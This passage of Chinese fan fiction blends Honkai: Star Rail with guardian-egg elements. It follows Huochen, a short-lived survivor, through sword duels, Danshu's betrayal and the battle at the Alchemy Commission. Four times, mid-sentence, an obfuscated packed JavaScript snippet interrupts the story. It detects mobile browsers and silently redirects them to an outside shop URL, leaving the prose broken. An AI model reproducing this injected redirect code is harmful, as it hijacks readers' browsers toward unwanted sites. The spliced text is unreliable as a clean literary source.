但这是他基于现有信息量做出的个人判断,并未得到他人的赞同…… “哪里不好?”自在低头看他,给他赞同,“只要彦卿在做自己想做的事情,我就觉得很好。” “追犯人也好,看小说也好,都很好。” “但是上次那样很不好!”自在鼓起脸,“不能丢下我,我生气了,现在还没消呢!” 这是需要强调的事情,自在觉得自己能坚持生彦卿一周的气,非常了不起。 彦卿心软得不行:“抱歉,我再也不会把你抛开了。” 小精灵心情很好地“哼”两声:“你最好是。” 一大一小说着话,又收集到些线索,扫除些孽物,一路往前,就碰到了那个人: 一个陌生的白发女人。 背朝他,脚边散着些不知何时倒地的孽物尸体,衣摆上的月亮由残月到圆月,像极了这个人,一言不发。 彦卿解决完剩下的孽物,与人寒暄两句,问起来历,对方回答仙舟苍城。 苍城?他在脑子里搜罗一圈,竟想不起有叫这个名字的仙舟。太奇怪了,和这个人一样奇怪。 她就站在那里,不过几步距离,却叫人觉得很远很远,叫彦卿冷不丁想起那句卜辞: 有客远来。 * 火尘还是把所有星琼都给了开拓者,毕竟对方不仅帮忙打败了追赶他的金人,接下来似乎还要帮忙去救他的师父,而且这石头他留着也没用。 开拓者很感动。 开拓者把他举起来抖了抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326783|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……没有了,全在这里了。” 开拓者略感失望,松手,他落地。 火尘心情复杂:明明是答谢救命恩人,突然就变成了土匪搜身。 好在星琼以外的事沟通起来都很顺畅,开拓者实力强劲,打起工造司的孽物和入魔机巧一路火花带闪电,分分钟就杀进了离造化洪炉最近的廊桥。 三月七:“桥断了!” “请稍等,附近应该有备用的换境画屏……”火尘左右看看。 突然听得一声:“呔!” “何方妖孽,坏我司部,砸我机巧!” 像是仙舟幻戏里的声音,高亢响亮,杀气腾腾,两个攻击主力的无名客齐刷刷一抖,缓慢转头。 火尘探出头,惊喜:“师父!” 公输师傅定睛一看:“嗯?” 大惊失色:“你你、你怎么能在这里呢!” “我已经在这里了,”火尘小跑过去,一边介绍,“这两位不是妖孽,是星穹列车的开拓者,也是被将军派来救咱们的。” “哦——游云天君的虹车,有所耳闻,有所耳闻——”公输师傅摸摸胡须,看对面两个小年轻摸着脑袋笑,“能得见虹车再度于星河间驰骋,真是令人快慰呐。” 而后转向他,重新瞪眼:“你怎么能在这里呢!” “能不能的,我都已经在了。”火尘摊手,看着很欠打。 死里逃生一两回,他自然是爱惜生命的。 只是他不想看自己在意的人死在他前头,公输师傅也好,彦卿也好,只要他活一天,就想要看这些人都好好的。 至于他死了,就再说,反正那时候也都跟他没关系了。 公输师傅认识他两年,到底还是没打他,咋咋呼呼嘟嘟囔囔地把他拉到身后,再婉言谢绝两位开拓者的提议。 “工造司如今这副模样,我无论如何都不愿离开呀。” “造化洪炉下有一玄鹿正在徘徊,那玄鹿是受寿瘟祸祖影响的妖物,去往丹鼎司的路也被它挡住了。” “几位想要从那边过去,怕是少不得一番苦战呐~” 开拓者仍是不说话,但昂首挺胸,扛起球棒就要走。 三月七摆手跟上:“放心好啦!我们都会解决的!” 公输师傅抹眼泪:“真是一群义侠啊!” 两人引路带人去了造化洪炉,妖异的巨鹿看着有两个人叠起来那么高,以至于倒在两位开拓者的球棒和弓箭下显得那么不可思议。 “好、好、好!”公输师傅抚掌大笑,“二位不仅侠肝义胆,还本领超群!在下佩服佩服!” 开拓者刚揍完人,满面红光凑过来。 火尘会意,转头:“师父,你有没有捡到那种亮亮的、会发出彩色光芒的石头?” “噢,有的有的!” 两位开拓者心满意足离开了,没了玄鹿这个大麻烦,公输师傅调试好入魔机巧,招呼他一起去外面叫些人手来整理司部,火尘应声,下楼时,怀里的守护蛋却突然发烫。 大概一两秒的时间,回归正常温度。 不过这回他不会当成错觉了。 火尘回头扫一眼,玄鹿的残骸在地上化作枝叶,刚结束战斗的地面一片狼藉,通往丹鼎司的后门还待修整。 一切都再正常不过,似乎没有触发守护蛋反应的原因。 他低头看: 你想说什么呢? 15. 霜刃一试 下午,工造司开始工作量巨大的修整环节,火尘被打发回来扫地——因为玄鹿在此徘徊,这附近连一只小型孽物都没有;现在玄鹿没了,这里就成了整个工造司最安全的地方。 大概。因为火尘知道这么说了之后,通常就要被打脸。 他扫累了,拄着扫把站一会儿,面对闭锁的后门,怀里的蛋又开始发烫。 “你要我过去?” 周围没人,大家都很忙。没人也好,自言自语也不会显得很奇怪。 蛋持续发烫,勉强能算回答。 他抬头看一眼,后门通往丹鼎司,偶尔小鱼往来丹鼎司和工造司,就是经由这里。 但那头玄鹿把通往丹鼎司洞天的路堵住了,所以丹鼎司目前是近似封锁的状态…… 不对,似乎从好些日子前,就已经很少看到有人从这扇门里出入了。 现在蛋又在发烫…… 火尘果断:“就当你是在提醒我躲远点好了。” 这种一眼就很危险的地方,他是绝对不会过去的。 蛋变得更烫了,还生气似的蹦哒两下,像怀里捂着一团热乎乎的火,火尘受不了,给它放出来。 守护蛋在空中转悠两圈,慢悠悠地往前飘,火尘把扫把搁一边,跟上它。 隔着不远不近的距离,每次跟到不想跟的时候,蛋就停下来等他,他也就这么一路跟下去,然后…… 又回到原地。 火尘看看自己倚在门边的扫把,又看看终于抓回手里的蛋,很无语: “你在溜我吗?是在溜我吧!” 蛋没反应,温度也回归正常,好像专门醒一次就为了遛他。 火尘自认倒霉捡回扫把,准备随便扫扫就回前厅,却突然在这地方听见了说话声,慌忙躲起来。 “……来吧,小弟弟,”陌生的女音,话中带着森冷的寒气,“余兴节目留给你了。” 一个白头发的女人,身边是……彦卿! 火尘瞪大眼睛,忍不住冒头想看得更清楚些,视野却被挡住: 我天,哪来这么大只孽物啊!刚才都没看到呢! 那边两个要比试杀孽物了,他缩回去,以免变成被殃及的那条池鱼。 白发人很有余裕,一边杀一边跟彦卿说话,越说语调越不对劲,依然冰冷,却又很兴奋,像某种癫狂的预兆: “若这一剑向你刺来,你能否挡下!” 嘶,吓人。 “够了!” 看来彦卿也觉得吓人。 孽物尽数倒地,比试结束了,火尘看彦卿重新站定,平复不稳的气息,然后: “……我输了。” 火尘:…… 他心里一片安静,也不吐槽了,专注盯着彦卿同样安静落寞的侧影。 “比试尚未结束,因为我的最后一剑尚未刺出,场上已没了对手。”然而白发人缓缓开口,似乎没有点到为止的意思。 火尘:! 你还要干嘛啊! 他躲不住了,虽然知道对面砍一个是砍砍两个也是砍,但下意识就要站起来,却被拦住了。 自在出现在他眼前,比划:“嘘——” 而后两手叉腰,小声,却也同样专注地看过去: “看着就好。” 白发女人旋身,高高跃起,天边恍惚似是出现一轮月亮,似圆似缺。 彦卿后撤一步,仰头紧盯天上人的身影。 寒气侵身,火尘忍不住发抖,但他还看着彦卿。 像是将周围的环境光都吸引过去了,持剑人身处黑暗之中,唯手中之剑光华璀璨。 极亮与极暗之间,他看到彦卿运剑,紫色、粉色、冰蓝色,光芒有生命一般自持剑人体内流溢而出,绕至剑上。 飞剑以剑主为中心急速旋转,数量似乎多于平日的六柄,亮到晃眼,却被剑主挥剑瞬间眼底爆出的精光压下——明亮、纯粹的紫色亮光,像极了传闻中的帝弓神矢。 残月已至。 彦卿沉声大喝,抬手挥剑。 剑与冰对撞时的铿锵声、大块碎冰砸至地面的轰隆声,砸得火尘耳边隆隆作响。因为一直盯着彦卿,被最后手持剑爆发出的紫色光芒晃了眼睛,现在火尘眼前都是一片白光。 白发剑客走了,留下几道剑痕、被劈成两半的冰月,和些许风声,好像从未来过。 而后烟尘和寒气渐渐散去,他恢复视野,看见彦卿站在大块大块的碎冰间弯腰喘气,举剑的手脱力垂下。 火尘记得刚才那一声喊,朦胧间回忆着,自己似乎从未听过彦卿这样大喊。 他跌跌撞撞过去,半拖半抱把人扶起。 似乎已经用尽全力,火尘感觉身上人倚着他,呼吸尚未平复,肌肉还在发抖。 “好厉害。” “你太厉害了。” 他这辈子都忘不掉这一剑了,比上次在冰底见到的更为惊艳,更为耀眼。 每一次都会成长,每一次都给人惊喜。 你是神吗?彦卿。你就是神吧。 彦卿似乎平复过来了,起身恍惚,看见他:“火尘?” 大惊失色不足以形容彦卿的脸色:“你怎么在这里?!” 火尘还在咂摸刚才彦卿那一剑有多厉害多好看,人已经被彦卿按着转了两圈检查:“你没事?没受伤吧?刚才一直在这里吗?” “呃,”好不容易才停下,火尘抄起自己的扫帚,“我在这边扫地。” “扫地?”彦卿愣住,低头看一眼满地的孽物尸体,抬头看火尘,又惊又怒,“孽物横行,谁安排你在这里扫地?” “是因为觉得这里安全,大家才让我来的!”火尘急忙解释。 “我保证,我发誓,我来的路上绝对没有碰上一只孽物。”甚至他中途为了追蛋还出去转了一圈,也没碰到过。 “可我来的路上,沿途全是孽物。”彦卿不解。 火尘下意识看向自己的蛋:你不会是带我出去躲孽物的吧? 蛋没反应。 “兴许我们走的不是一条路?”他找了个还算合理的解释。 彦卿勉强接受这个解释,松开他肩膀,眉头依然皱着:“你还是赶紧回到人群聚集的地方,现在有不少危险份子在罗浮流窜。” 比如刚才那个。火尘理解,他不是彦卿,没有以身涉险的爱好:“你刚才说路上的孽物?” “已经杀光了,”彦卿略一停顿,“我和她,多数是她杀的。” 杀光了。彦卿顶着张乖学生脸说这话真是格外有反差。 “那她是帮着罗浮的?”那样强大的剑士,如果是敌人怕是很不妙吧。 “不清楚,”彦卿摇头,话中又多了几分紧迫,“总之你早些回去,我该继续追查了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326784|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >追查什么呢? 火尘自然不会因为脸就把彦卿看成乖学生,更何况才刚看完那一剑。他有诸多疑惑,但现下都不是问的好时候,于是犹豫片刻,只问: “你会受伤吗?” 彦卿微怔。 “云骑上阵,死伤是避不开的,”最后还是这么跟他说了,“我们不会轻易死亡,你该多保重自己才是。” 火尘知道这是指长生种和短生种的差别了。他应声,看彦卿随手摸出把短剑给他防身,就火急火燎消失在去丹鼎司的门里,自在紧随其后,回身向他摆手道别时,看着像是若隐若现。 看错了? 人已经走了,没法再看个仔细。 他摩挲口袋里的守护蛋,感受蛋隐隐的热度——没有变化,就好像依然停留在彦卿带他去三余书肆看绘本的那个晚上,叹气。 总感觉离你越来越远了。 火尘没在情绪里沉浸太久,毕竟工造司现下事情多,他原路返回后又被叫去操作小型机巧搬障碍物。这次是在前厅附近,同样没有孽物,清出一条道后还有不少人来往此处,很安全,他昏昏欲睡。 “你回来了啊。”他坐着,有人站到他身前,投下一小片阴影。 火尘半睁眼,是刚才那小孩,随口应:“嗯。” “你师父呢?”小孩左顾右盼。 他抬下巴示意不远处:“喏。”公输师傅坐在金人上手舞足蹈,不知道在指挥什么。 然后礼尚往来问小孩:“你爹妈呢?” 小孩伸手指:“在门外。” “哦。” 好像没有话可以聊了。 火尘能操作的机巧都很小只,好在来来回回多搬几趟也能搬完,他拍拍身上灰准备去找师父问后续安排,听见小孩继续问: “我听说短生种都很惜命,出了事会逃,”小孩占了他刚才坐的马扎,坐着说话反倒显得郑重,没有之前那么讨厌了,“你好像完全不逃嘛。” “我们那会儿不是一起逃了吗?” “可是你后来又回去了。” “你是不是还听说大人都很蠢,会被小孩子耍得团团转,”火尘回头敲小孩脑袋,旧事重提,“被‘蠢大人’救下来的感觉如何啊。” “转移话题,”小孩撇嘴,“机巧鸟通信一恢复,我就道歉删帖了。” 这倒是让火尘刮目相看,他想了想,决定认真回答问题: “因为我想要的比较多。” “我自己的命,还有其他人的命。” 小孩表情微妙。大概是表述有问题,这话显得他像个来索命的杀手或者勾魂使。 说得更明白点: “我想要我认识的人都能活下去,”火尘掰手指估算,“既然周围都是长生种,那就希望他们都能活得比我久……我的话,在仙舟没有生存压力,活个四五十年应该不成问题?” 他觉得自己真是一点都不贪心。 小孩走了,火尘交完任务没再接到新的,似乎后续需要比较高的技术,师父让他出去找四散的师兄师姐来帮忙。 这其实就是叫他去休息了。毕竟机巧鸟通信系统已经恢复,用玉兆发消息可比让他找人快得多。 他闲闲起身,四处溜达,到司部内某处不经意一瞥: 灰头发、黑衣服、黄色飘带、棒球棍。 那是,开拓者?怎么又回来了? 16. 逃跑有理 火尘完全没有怀疑开拓者。 虽然开拓者在沟通交流上似乎有点问题,但帮了工造司大忙,还是将军盖了章的天外救兵。 所以在看到开拓者时,他第一反应就是司部内又出了岔子请人家来帮忙,扬手打招呼,开拓者却全然不理。 奇怪。 他犹豫片刻,跟上。 开拓者似乎追赶着什么,步子迈得很开,体能又堪比怪物,火尘隐约看到了追踪用机巧谛听的影子,努努力,最后还是没追上开拓者。 停下来看看四周,是运输货物的码头,工造司洞天广大,这里离师父的镕金坊已经很远了。 火尘左右晃荡一会儿,没见着半个人,虽然疑惑,还是决定折返。毕竟现在到处都不太平。 “魁首大人,当真就放那人走了?他是景元的人,一定会去神策府报信。” “我说了,他是我的朋友。” 听见陌生的声音就往货箱后躲,现在已经变成条件反射了。火尘缩起来观察,心里念叨建木生发之后工造司跟打卡点似的,什么人都要来走一遭,但这声音好像也不陌生…… 看到人的瞬间,火尘瞪大眼睛。 丹枢大人?旁边是……长满枝条的人形,魔阴身?孽物?说是孽物,又跟火尘过去见过的不同,他少有见到口吐人言的孽物;说是魔阴身,言谈之间又似乎神智清醒;还有丹枢,他叫丹枢魁首? 怎么回事? 火尘完全混乱了,丹枢大人是目有天缺的长生种、丹鼎司备受尊崇的丹士长,深居简出,喜欢和同样天缺的孩子们交流,说话语气很温和,两年间送了他很多免费的药…… 也无怪他没听出丹枢的声音,她的语气比往日冰冷太多,简直判若两人。 “谁在那里。” 孽物飘浮半空,瞬息至他身侧,火尘头皮发麻,就地打滚,离开了货箱的掩护,正对上不远处丹枢空蒙的眼,孽物的尖刺已至咽喉。 “停下,”丹枢开口,“这也是我的朋友。” 身侧不知是孽物还是魔阴身的枝条怪物已经很不耐烦了:“魁首大人!” “行了,退开吧。” 丹枢行至他身前,语气变得像过去一样温和:“火尘,是你吗?可怜的孩子,你在发抖呢。” 火尘确实在发抖,可在丹枢开口前他还没意识到,他低头看自己的手,看到细微的颤动,抬头问:“你能看见了?” “很遗憾,还没有,”丹枢脸上挂着浅浅的笑容,“不过按照实验数据,过不了多久就可以了。我很高兴你问我这个。” “实验?” “得出结论,总是要做不少实验的,”丹枢抬手抚上他的头,火尘僵住,“放心,你并非实验体。” 【为什么要延长苦日子?】 “毕竟你都那样拒绝了,我自然不好违背你的意愿,去喂这本就珍贵的长生秘药。” “他们都同意了?”火尘提高音调,指后面两个枝条怪物,“不是你隐瞒了实验后果,欺骗了他们吗?” 枝条怪物嗤笑,丹枢却还在耐心解释,像面对自家不懂事的弟弟: “人是很复杂的,孩子,对于一些人来说,人形并没有那么重要。同时,做出一件违背常理的事情,也不一定需要那么多理由。” “只因为这常理,从很早以前开始就不再适用于我们了。” “此时此刻,你认为我成为药王魁首,也是被人欺骗了吗?” 火尘脑子很乱,恐惧连同丹枢的手一起压着他,让他没法思考,只能从眼前闪回的一堆画面中乱抓,像是自我说服:“……不是被欺骗,也是被诱导的。” 丹枢笑出声,歪头,配合当下的场景,多出几分诡异的俏皮感:“被谁呢?” “丰饶星神吗?” 话音未落,火尘怀中光芒大亮,两个枝条怪物忍不住捂眼,丹枢皱眉,火尘却不受影响爬起来就跑,什么都顾不上,也不知道自己的眼睛像燃着火焰亮得吓人。 【往右跑。】 心里突然有个声音在响,可火尘惦记着师父的镕金坊在左边,往左跑了,跑没几步就被追上来的枝条怪物拦住。 对方已经烦了:“一个小鬼而已……”放掉或杀掉都不影响大局,丹鼎司那边的战事要紧得多。 丹枢缓缓走来,重新站到他面前:“我以为你会理解我的。” “宇宙如此广大,生命如此不公,”火尘不知道她为什么突然发议论,还在找机会继续逃,听到下句愣住,“你那天提的五个朋友里,包括彦卿骁卫吗?” 自然包括,而且彦卿是第一个。 “你看,你的朋友生来便在云端,仙舟宠儿,武骨剑胎,千人拥戴,万人敬仰,”丹枢看他,神情怜悯,“而你却星球毁灭,孤身一人,疾病缠身,现在面临生命危险,没有丝毫还手之力。” “不觉得不公吗?” 火尘认得这眼神,丹枢看他时一直是这眼神,他没觉得哪里不好,只是现在也糊涂起来: “不公平,不是很正常吗?” 除非宇宙像工造司的流水线一样,所有星球、物种,甚至命途,都按一个标准量产,否则不公平不是很正常吗? 而且拿彦卿举例子…… 有些人光是活着,站在那里什么都不做,就让见到他的人都高兴起来。彦卿于他就是如此。 所以彦卿拥有再多他都觉得正常,甚至还嫌不够多。 “勿将他人拥有的,看作自己失去的,我以为这是很简单的道理,”火尘正色,最后一次这样喊,“丹枢大人,我没有天缺,也没有体会过您过往的遭遇,原本是没有资格跟您讲什么大道理的。” “可我发自内心地希望,我在意的人都能好好活下去,我想你也作为受人敬仰的天才丹士活下去。”原本。 他对仙舟没有归属感,到点上班到点下班,一到假期就不知道做什么好,在长乐天四处乱晃。 偶尔,他会晃到若木亭看丹枢和小鱼,丹枢教小鱼听声辨位的诀窍,小鱼认真学,他就坐在旁边吃人家的茶点,等丹枢或者小鱼有需要,给她们描述自己看到的景色。 “现在不想了,因为你要杀我,”明明很害怕,少年眼瞳却亮着火光,“而我要活下去。” 常理不常理的无所谓,公平不公平的也无所谓。 我就是要活下去,按自己心意活下去。 丹枢沉默。 活下去啊,活下去对如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326785|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今的她来说重要吗? 然后笑起来。火尘从未理解她,她也从未理解火尘,以为的同病相怜,到头来不过是对镜自语。 她说:“两年时间,你一点没变啊。” 四五只孽物随令出现,跃过货箱,破空声吓人得紧。火尘发足狂奔,守护蛋在怀里烫如烙铁,他把蛋放出来,逃跑间隙听到一声清脆的开裂声,然后: “往右啦。” 刚才往左被抓了,火尘很识时务地往右。 “哼哼,让你不听我的。” 火尘知道自己的守护甜心大概出生了,可是他忙着跑,顾不上看长什么样子,也顾不上回话……! 好险,差点被狗咬。 守护甜心知道他什么情况:【你在心里说话也行,我听得见。】 【那两个小喽啰不是说我不影响战局吗丹枢态度那么好我都给她话疗了她怎么还要抓我!】 守护甜心:【……你不止一身反骨,还很天真呢。】【原来你管最后那段叫‘话疗’啊,那不是决裂宣言吗?】 【我服了我跑不动了我要死了啊啊啊啊啊怎么有狼怎么有狗怎么还有大猩猩这里是动物园吗!】 守护甜心:他的主人似乎已经脑子不清楚了。 总之先指路:【爬左边楼梯上去,右边坏掉了。】【右转过走廊。】【往前。】 火尘跟着跑,越跑越熟悉:【这不是去丹鼎司的路吗?】 【对啊。】【回师父那边要跑二十多分钟,那个门只要五分钟就到了。】 【丹鼎司很快就要开战了吧。】 【对,】守护甜心飘到他跟前,【所以那里现在是全仙舟云骑军最多的地方。】 原来如此,火尘恍然。 守护甜心:【主要是我不相信你的体能。】【比起二十分钟跑回师父那里,跑五分钟上气不接下气被孽物逮住更有可能。】 火尘:…… 就不能说我点好的? 快到门口,火尘边跑,边望着越来越近的门,想起无名的白发剑客、要他返回安全地带的彦卿、留孽物咬他自己先走的丹枢、即将开战的云骑军和孽物,或许还有开拓者,都已经在这扇门里了。 他推开门,闯入这片战场。 当然,是不可能的。 火尘进了门就扭身重解机关,门“砰”一声关了,孽物没跟过来,他弯腰,扶着膝盖躲在墙边喘气。 他和守护甜心想法一致,云骑军这边除了前线交战的士兵,应该也有负责援助救护的后方阵地,他们待在那里,总不至于再被孽物袭击。 “你的能力就是制定逃跑路线?” 周围都没人,火尘慢下步子,想起彦卿说过守护甜心的形象改造都带有特殊能力。 “嗯,算是一种预感吧,可以判断出哪边更安全。”“怎么样?很实用吧。” 确实。他起身赞同,这时才有空看看自己的守护甜心长什么样子——黑发橙红眼,短炸毛,两头身。 好嘛,跟他长一样,没啥惊喜;衣服倒是精致很多,只是火尘不怎么在意。而且跟自己长得太像了,缩小了也不觉得可爱,只觉得诡异。 守护甜心摇头叹气:“你要求也太多了吧。” 17. 他自海上归来 空气中弥漫着呛人的烟气,一大一小靠着形象改造的直觉一路贴墙走,路上已经躺了不少云骑和孽物的尸体,火尘回想起自己的星球,低下头继续走,守护甜心安静跟在后面。 只是看见还有气的还是忍不住上前去,结果就被将堕魔阴的士兵抓了一手血,对方希望火尘杀了他,在发现这是个身上没有任何武器的平民时甚至面露绝望。 火尘想起彦卿送的那把短剑,他那会儿刚回到工造司,觉得自己用不到,预备之后还给彦卿就放抽屉了。结果现在想帮忙也帮不上。 “……快走、快……”云骑士兵勉力给他指路,下一秒枝条覆身,眼中泛起红光。火尘开始新一轮的逃窜。 就这么走走停停跑跑,赶到后方时,火尘受了两处轻伤:一处在右手臂,已经血肉模糊,是那个给他指路的云骑士兵抓的;一处在左小腿,一大片青紫,许是逃跑时摔的,他记不清了。 “好在没伤到骨头。” 替他检查的大后方医士感叹他能一个人走到这儿来,取出仙舟人的特制药,皮肉以肉眼可见的速度复原。 火尘想起丹枢的话,心情很差。 院门敞着,陆陆续续有重伤员被搬进来,交战的声音还在继续,照看他的医士很快又被叫去别处帮忙。 各种声音在院子里交杂,火尘垂着头。 “你想起自己的愿望了吗?”守护甜心问他。 “嗯。”他简短应声,扭头去看伤员。 两年前在他的星球上,也是与眼前近似的惨象:天空是红色的,土地是黑色的,尚未燃尽的废料带着火星子在天上飘飘扬扬,迷离得好像眼前一切都是假的。 然而是真的。他被一眼望不到尽头的大火包围,以为自己要熔化了,而仙舟经过了这个星球,救下了他们。 我好像活下来了。不确定; 我可以活下去了。很高兴; 只有我活下来了?很惶恐。 这样想着,脚边出现一颗蛋,映照远处火光,躺在滚烫的黑土里,表面落满飞灰。 原来如此。 “原来我那么早以前就见过你了。” 他若有所思,守护甜心煞有其事应话: “之前孵不出来,是因为对‘活下去’尚存疑惑,但到了快要活不下去的时候,这点疑惑就不攻自破了。” 很可爱,但因为长得太像自己了,升不起逗弄的心思。火尘点头认同,捋起袖子:“我准备去帮忙,你来吗?” 对方拒绝,缩进下半边蛋壳,又搬起上半边蛋壳往自己脑袋上盖,只露出一双眼睛朝他眨巴:“不了,我消耗太大了,需要睡觉补充能量。” 有这设定? 他疑惑,但只是疑惑了一下,就把蛋揣怀里——上下一合简直严丝合缝,看起来像没孵出来过一样。 他的守护蛋也终于是孵出来了,彦卿看到的话会高兴吗?之前那些日子,看起来简直像比他更期盼这个蛋诞生。 火尘将之解释为:因为自己记事起就有蛋,没经历过这么长的孵化过程,所以觉得新鲜。 总之应该是会高兴的,嗯! 他忍不住期待起擅长夸奖人的彦卿大人这次会怎么夸,又猛回神,嘀咕自己真是想太多。 眼下连彦卿的安危都还不确定。 院子里人依然很多,他不会医术,这种场合能帮的忙也无非递东西、搭把手,在脸熟医士好不容易闲下来的时候递杯水。 “多谢你,小友。”刚才给他治手伤的医士忙了一圈下来已经满脸疲惫,喝完水才顾上跟他道谢。 “战事吃紧?” “实力相差悬殊,原本该是我们这边压倒性的胜利,”医士皱眉,“但是药王秘传散布了一种特制熏香,能够诱发长生种的魔阴身。” “我在丹鼎司这么多年,从未听说过这种熏香,他们是怎么研制出来的?”医士百思不得其解。 他想起丹枢身边那两个语言流畅的枝条怪物,又想起丹枢素有“天才丹士”的名头,想明白了,只有叹气,倒不如想不明白。 “香炉就在海边,海风一吹散得满司部都是,躲都躲不过,”医士嗅嗅空气,瘫靠在椅背上,“天呐,我现在感觉这里都有了。” 他站起来:“我去关了它吧,我是短生种。”短生种不会有魔阴身。 “那倒不必,据说列车组的客人们已经赶来了,他们会去关的。”“你纵使不会有魔阴身,可若无人保护,也难免碰上孽物出个三长两短。”医士意指他之前那副惨样。 他坐回去。 又是好一会儿的等待,慢慢少有伤员被送进来了。 他又开始走神,想起彦卿早他一步来到丹鼎司,却不知道是不是在这片战场上,似乎是在追查什么,也不知道情况如何了…… 医士又来了,急匆匆但面露欣喜,冲他招手:“哎,小友!” 他过去,看见外面站着两个云骑,为首一人见了他十分惊讶:“还是个孩子?” “孩子不孩子的,现在都需要他帮忙不是嘛。”医士对云骑说完,扭头对他: “我们打赢药王秘传了!现在想把海边的香灰收集处理掉,防止复燃……啊,列车组的客人们随将军前往建木对敌,海边的孽物已经处理过一遍了……你还愿意帮忙吗?” 火尘听完话,没有犹豫:“当然。” 然后看见三个人欣喜的脸,当先一人摘掉头盔郑重道:“云骑军会记得阁下的勇气和善举。” 他胡乱点头,有些脸热,觉得不必如此。真要论起来,他受保护的次数更多些,就好比这次。 为避免残存孽物突然袭击,云骑队长派了两个年轻士兵随他同去,头盔外还另戴了一层防护罩,看着密不透风。 他不免又想起彦卿,想起彦卿平时不穿铠甲、不戴头盔,现在大概也不会戴防护罩。 丹鼎司的海从来都雾蒙蒙的,古老又平静,很少翻什么大浪。如今走在去往香炉的海上长廊,空中烟尘未褪,海风咸湿,却带来一股愁人的血气。 云骑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326786|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警惕着周围动静,不与他多言语;收香灰是个没什么技术含量的活,火尘很快收完,预备去下一个…… “吼!” 身形窄小的丰饶孽物自烟尘中窜出,狼形,瞬息袭至他面门,火尘瞳孔放大,下意识要躲,下一刻! 寒光一闪而逝,孽物咽喉现出一道极细的血痕,脱力摔在他跟前,落在木制栈桥上声音闷重——已经是一具尸体了。 他抬头,两个云骑已经惊喜出声:“彦卿骁卫!”“您回来了!” 自灰蒙蒙的雾气里走来,身影渐渐清晰,是彦卿。 他精神一松,转眼又提起来,不错眼地盯着人看——说不上哪里奇怪,但就是觉得很奇怪。 彦卿听两个云骑说完战场现状,应了几声,扭头对上他视线,僵了一下,露出一个浅淡的笑。 说来奇怪,彦卿是真笑假笑他一眼就能看出来。 但眼下情况不容许他问太多,彦卿走过来,抬手摘掉他头上落的银杏叶——是刚才的孽物身上落下的。 他低头,注意到彦卿的飘带末端正在滴水,闻到一股与海边不同的崭新血气,下意识在对面身上找伤口,还没找到就听见彦卿说: “火尘,帮我保管一下。” 声音极近了,却并没有变得清晰,反倒飘飘忽忽的,轻得像是不留神注意就要被海风吹走了。 像眼下这个人一样。 火尘接过东西,看彦卿御剑飞走,低头看——一个守护蛋,蛋壳上有燕子和柳枝的图案,底部是尚未融化的碎冰块。 飞燕啄春柳,晴日落湖冰。一派晴朗的初春图景。 这毫无疑问是彦卿的蛋,也就是几小时前才跟他挥手道别的自在。 他收下,把它和自己的蛋放一起,他的守护甜心被吵醒了,一手推开自己蛋壳一手揉眼睛问他干嘛,而自在没有任何反应,显然不是在睡觉。 火尘感到一阵难言的焦灼。 他加快速度收完所有香灰,装进预先准备的特制容器,两个士兵连连道谢,一人推着容器,一人护着他往前走。 上来之后正撞见彦卿与人说话——那人他认识,是符玄太卜,太卜司的大领导、将军候选,也是这次作战的总指挥。 “我们见到景元……将军就尽快返回,无法保证时间,这里交给你了,彦卿。” 彦卿剑尖还在滴血,脚边一圈碎金叶,低头听人说话,神色平和如常:“是,符太卜。” 符太卜带着还能行动的精锐去建木边接应将军了,战场残余交给彦卿。 这是他所见彦卿杀得最快最冷酷的一次,不少云骑都为彦卿的表现胆寒,有说“天才”的,有说“怪物”的,有说“不愧是将军弟子”的,还有说“大战前期为何不见人影”的。 火尘揣着两个蛋站在人群中,看彦卿就那样在所有人的评价里斩杀孽物,不闪不避,状似平静。 他打开口袋,低头戳戳自在,吵闹的孩子没有从蛋里蹦出来抱怨。 他又开始难过了。 18. 少年心事 彦卿觉得自己一定是做错了什么。 他回想自在被关入壳前的眼神,看到自在在心疼他,在舍不得他。 毕竟是象征孩童梦想的守护甜心,不太容易产生负面情绪。 可彦卿想: 倒不如失望或愤怒来得好呢。 “带这人走吧,这次的事,我可以当作没发生。” 